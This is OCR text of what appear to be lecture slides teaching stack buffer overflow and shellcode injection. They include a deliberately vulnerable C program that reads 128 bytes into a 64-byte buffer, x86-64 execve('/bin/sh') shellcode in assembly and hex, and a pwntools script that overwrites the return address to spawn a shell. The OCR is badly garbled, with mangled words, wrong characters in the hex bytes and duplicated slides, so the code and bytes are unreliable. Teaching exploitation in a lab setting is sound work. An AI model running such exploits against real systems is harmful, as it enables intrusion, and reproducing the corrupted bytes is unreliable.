Shellcode Injection - Enhnn?



A hackers goal”?

- Doing things that the program was not intended to do

- Consider this code:



Whats a hackers goal”

- Doing things that the program was not intended to do

- Consider this code:

int main() {

printf("Hello Sir or Madam! What is thy name?\n");
char name[64];

read(@, name, 128):

printf("Nice to meet thee, %s", name);
return 0;




‘nis is vulneraple - but wny"~

- We can write much more than we should be able to

So what?

int main() {

printf("Hello Sir or Madam! What is thy name?\n");
char name[64];

read(@, name, 128):

printf("Nice to meet thee, %s", name);
return 0;




 Arpitrary Code Execution |

. | we were able to run arbitrary code, that would be crazy.
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What is shellcode?

- Shellcode spawns a shell (or does other things)

. | we want to run a shell we need tor example execve(”/bin/sh”, NULL, NULL)

.string "/bin/sh"



Writing Shellcode

No one needs to do this.




Writing Shellcoae




Writing Shellcoae

"I have bad news"

Everyone:




[oday we go pack to assembply

- Shellcode is best written in Assembly. You write, you assemble, you debug.

.global _start

- start.:

_intel _syntax noprefix - First we define the start symbol for gcc
mov rax, 59

lea rdi, [rip+binsh] - Then we explain that we don’t want stupid syntax
mov rsi, O

mov rdx, 0 . Write the shellcode
syscall

.string "/bin/sh"



[oday we go pack to assembply

. 48 C7 CO 3B 00 00 00 48
lea rdi, M 3D 3D 10 00 00 00 48 (7

mov rsi,
mov rdx,
syscall

Co 00 00 00 00 48 C7 (C2
00 00 00 00 OF 05 2F 62
69 6E 2F 73 68 00

.string "/bin/sh"

- Shellcode is best written in Assembly. You write, you assemble, you debug.

- Shellcode can be anything that can be written in Assembly (sendfile, read, open, etc.)



Now whnat do we do with this plop?7?777

def main():
offset = 72
buffer_address = Ox7fffffffd9a0

48 C7 C0 38 00 00 00 4¢ - el e T e
8D 3D 10 00 00 00 48 C/ payload = shellcode. ljust(offset — 8 , b"\x90")

i (f"Payload length: { (payload) } bytes")
Co 00 00 00 00 48 C/7 C2 payload += p64(buffer_address)
(f"Total payload length: { (payload) } bytes")
00 00 00 00 OF @05 2F 62 p = process(BINARY, env={})

p.recvuntil(b"thy name?\n")

69 6E 2F /3 68 00 p.send(payload)

p.interactive()

- Shellcode is best written in Assembly. You write, you assemble, you debug.

- Shellcode can be anything that can be written in Assembly (sendfile, read, open, etc.)



| )

elprul Information

- Compile and extract shellcode via:
. gcc -nostdlib -static shellcode.s -0 shellcode-elf
« Objcopy —dump-section .text=shellcode-raw shellcode-elf

- You can debug using strace or gdb

https://blog.rchapman.org/posts/Linux_System_Call Table_for x86_64

https://filippo.io/linux-syscall-table/



https://blog.rchapman.org/posts/Linux_System_Call_Table_for_x86_64/
https://filippo.io/linux-syscall-table/

[Ty it!

pwnlcollege

Get a shell and write echo "HI'

#inc lude <stdio.h>

int main() {

char name[64]:
read(@, name, 128):

printf("Hello Sir or Madam! What is thy name?\n");

printf("Nice to meet thee, %s", name);

’

return 0

Hint: We have no canary.

T Lower addresses

---------------------------------------------------

call_functions()

buffer[64]

Compiler padding / alignment

Stack canary

RBP E—>
: Saved RBP (of main())

Return address (1 after call)

main() local variables

Saved RBP (of libc_start_main)

Return to _ libc_start main

argc, argv, OS Stuff

I Higher addresses

Stack growth

(high to low)






